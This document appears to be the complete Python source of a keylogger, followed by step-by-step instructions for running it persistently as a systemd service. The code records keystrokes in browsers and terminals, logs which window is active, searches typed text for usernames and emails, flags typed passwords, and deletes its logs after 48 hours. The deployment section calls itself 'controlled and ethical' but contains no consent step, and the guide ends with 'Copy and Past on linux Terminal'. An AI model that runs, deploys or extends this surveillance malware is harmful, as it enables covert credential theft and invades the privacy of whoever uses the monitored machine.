```python
import os
import subprocess
import platform
import time
import re
from pynput import keyboard
import threading
from datetime import datetime, timedelta
import signal
import sys

try:
    import win32gui  # Windows-specific
except ImportError:
    pass
try:
    from AppKit import NSWorkspace  # macOS-specific
except ImportError:
    pass

class KeyLogger:
    def __init__(self, target_apps=None):
        self.log_file = os.path.expanduser("~/log.txt")  # Save to user's home directory
        self.backup_log_file = os.path.expanduser("~/log_backup.txt")  # Backup log file
        self.current_input = ""  # Buffer for current input
        self.sensitive_data = []  # To store captured sensitive data (usernames/passwords)
        self.target_apps = target_apps if target_apps else []  # List of target applications
        self.current_window = ""  # To track the current active window
        self.last_logged_app = ""  # To track the last logged application
        self.app_start_time = None  # To track when an app was first activated
        self.start_time = datetime.now()  # Track the start time for log retention

        try:
            with open(self.log_file, "w") as f:
                f.write("Keylogger Started.\n")
            print(f"Log file created at: {self.log_file}")
        except Exception as e:
            print(f"Error creating log file: {e}")
            self.log_file = None

        try:
            with open(self.backup_log_file, "w") as f:
                f.write("Backup log file created.\n")
            print(f"Backup log file created at: {self.backup_log_file}")
        except Exception as e:
            print(f"Error creating backup log file: {e}")
            self.backup_log_file = None

        # Handle shutdown signals
        signal.signal(signal.SIGTERM, self.handle_shutdown)
        signal.signal(signal.SIGINT, self.handle_shutdown)
```

```
52
53          threading.Thread(target=self.cleanup_logs, daemon=True).start()
54
55      def append_to_log(self, string, is_backup=False):
56          if self.log_file:
57              try:
58                  target_file = self.backup_log_file if is_backup else self.log_file
59                  with open(target_file, "a") as f:
60                      f.write(string)
61                      f.flush()  # Ensure data is written immediately
62              except Exception as e:
63                  print(f"Error writing to log file: {e}")
64
65      def capture_sensitive_data(self):
66          if "username" in self.current_input.lower() or "email" in
    self.current_input.lower():
67              match = re.search(r"\busername[: ]*(\S+)|\bemail[: ]*(\S+)",
    self.current_input, re.IGNORECASE)
68              if match:
69                  username = match.group(1) or match.group(2)
70                  self.sensitive_data.append(f"Captured Username/Email: {username}\n")
71                  self.append_to_log(f"Captured Username/Email: {username}\n")
72
73          if "password" in self.current_input.lower():
74              self.sensitive_data.append(f"Captured Password: ********\n")
75              self.append_to_log("Captured Password: ********\n")
76
77          self.current_input = ""  # Reset input buffer after checking
78
79      def log_keystroke(self, key):
80          try:
81              current_key = str(key.char)  # Regular characters
82          except AttributeError:
83              if key == keyboard.Key.space:
84                  current_key = " "
85                  self.current_input += current_key
86              elif key == keyboard.Key.enter:
87                  current_key = "\n"
88                  self.append_to_log(self.current_input + "\n")
89                  self.capture_sensitive_data()
90                  self.current_input = ""  # Reset the input buffer
91              elif key == keyboard.Key.backspace:
92                  current_key = " [BACKSPACE] "
93                  self.current_input = self.current_input[:-1]  # Simulate backspace
94              elif key == keyboard.Key.tab:
95                  current_key = " [TAB] "
96                  self.current_input += current_key
97              else:
98                  current_key = f" [{key}] "  # Special keys like Ctrl, Alt
99
100         self.append_to_log(current_key)
101
102     def get_active_window(self):
103         system = platform.system()
104         if system == "Linux":
105             return self.get_active_window_linux()
106         elif system == "Windows":
```

```
            return self.get_active_window_windows()
        elif system == "Darwin":  # macOS
            return self.get_active_window_mac()
        else:
            return "Unknown Window (Unsupported OS)"

    def get_active_window_linux(self):
        try:
            result = subprocess.run(
                ["xdotool", "getwindowfocus", "getwindowname"],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True
            )
            return result.stdout.strip()
        except FileNotFoundError:
            return "Unknown Window (xdotool not installed)"

    def get_active_window_windows(self):
        try:
            window = win32gui.GetForegroundWindow()
            return win32gui.GetWindowText(window)
        except Exception:
            return "Unknown Window"

    def get_active_window_mac(self):
        try:
            active_app = NSWorkspace.sharedWorkspace().frontmostApplication()
            return active_app.localizedName() if active_app else "Unknown Window"
        except Exception:
            return "Unknown Window"

    def on_key_press(self, key):
        active_window = self.get_active_window()
        current_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())

        if active_window != self.current_window:
            if self.current_window != "":
                if self.app_start_time:
                    app_duration = time.time() - self.app_start_time
                    self.append_to_log(f"[{self.current_window}] used for {app_duration / 60:.2f} minutes\n")
                    self.append_to_log(f"[{self.current_window}] closed at {current_time}\n")

            self.current_window = active_window
            self.app_start_time = time.time()
            self.append_to_log(f"\n[Switched to: {self.current_window} at {current_time}]\n")
            self.current_input = ""

        for app in self.target_apps:
            if app.lower() in self.current_window.lower():
                if app.lower() != self.last_logged_app:
                    self.append_to_log(f"[{current_time}] Application Opened: {app}\n")
                    self.last_logged_app = app.lower()
                break
```

```
161
162         if any(app.lower() in self.current_window.lower() for app in self.target_apps):
163             self.log_keystroke(key)
164
165     def is_within_work_hours(self):
166         current_time = time.localtime()
167         return 9 <= current_time.tm_hour < 17
168
169     def save_to_backup(self):
170         try:
171             if os.path.exists(self.log_file):
172                 with open(self.log_file, "r") as f:
173                     logs = f.read()
174                 with open(self.backup_log_file, "a") as bf:
175                     bf.write(logs)
176                 print("Logs successfully saved to backup file.")
177             else:
178                 print("No logs to backup.")
179         except Exception as e:
180             print(f"Error saving logs to backup file: {e}")
181
182     def handle_shutdown(self, signum, frame):
183         print("Shutdown signal received. Saving logs to backup file.")
184         self.save_to_backup()
185         sys.exit(0)  # Exit the script cleanly
186
187     def cleanup_logs(self):
188         while True:
189             if datetime.now() - self.start_time >= timedelta(hours=48):
190                 if os.path.exists(self.log_file):
191                     os.remove(self.log_file)
192                 if os.path.exists(self.backup_log_file):
193                     os.remove(self.backup_log_file)
194
195                 self.start_time = datetime.now()
196             time.sleep(60)
197
198     def start(self):
199         key_listener = keyboard.Listener(on_press=self.on_key_press)
200         key_listener.start()
201
202         try:
203             while True:
204                 if not self.is_within_work_hours():
205                     time.sleep(300)
206                 else:
207                     time.sleep(1)
208         except KeyboardInterrupt:
209             print("Keylogger stopped.")
210
211 # Example usage
212 if __name__ == "__main__":
213     target_apps = ["chrome", "firefox", "terminal", "gnome-terminal", "xterm",
    "cmd.exe", "powershell", "Safari"]
214     keylogger = KeyLogger(target_apps=target_apps)
215     keylogger.start()
216
```

```
This Code only work on Linux System          This Code only work on Linux System
This Code only work on Linux System          This Code only work on Linux System
This Code only work on Linux System          This Code only work on Linux System
```

1. Set Up the Deployment Environment
Ensure the keylogger works seamlessly in a controlled and ethical manner.

Step 1: Choose the Deployment Method
Decide how you will run the script on the system. You have two main options:

Systemd (Linux): To automatically start the script on boot.

Crontab (Linux/macOS) or Task Scheduler (Windows): For scheduled execution or startup tasks.

For Linux: Using systemd
Write a systemd service file (e.g., keylogger.service):

```
[Unit]
 Description=Keylogger Service
 After=network.target

[Service]
 ExecStart=/usr/bin/python3 /path/to/keylogger.py
 Restart=always

[Install]
 WantedBy=multi-user.target
 Enable and start the service:

[bash]
 sudo systemctl enable keylogger.service
 sudo systemctl start keylogger.service
```

Copy and Past on linux Terminal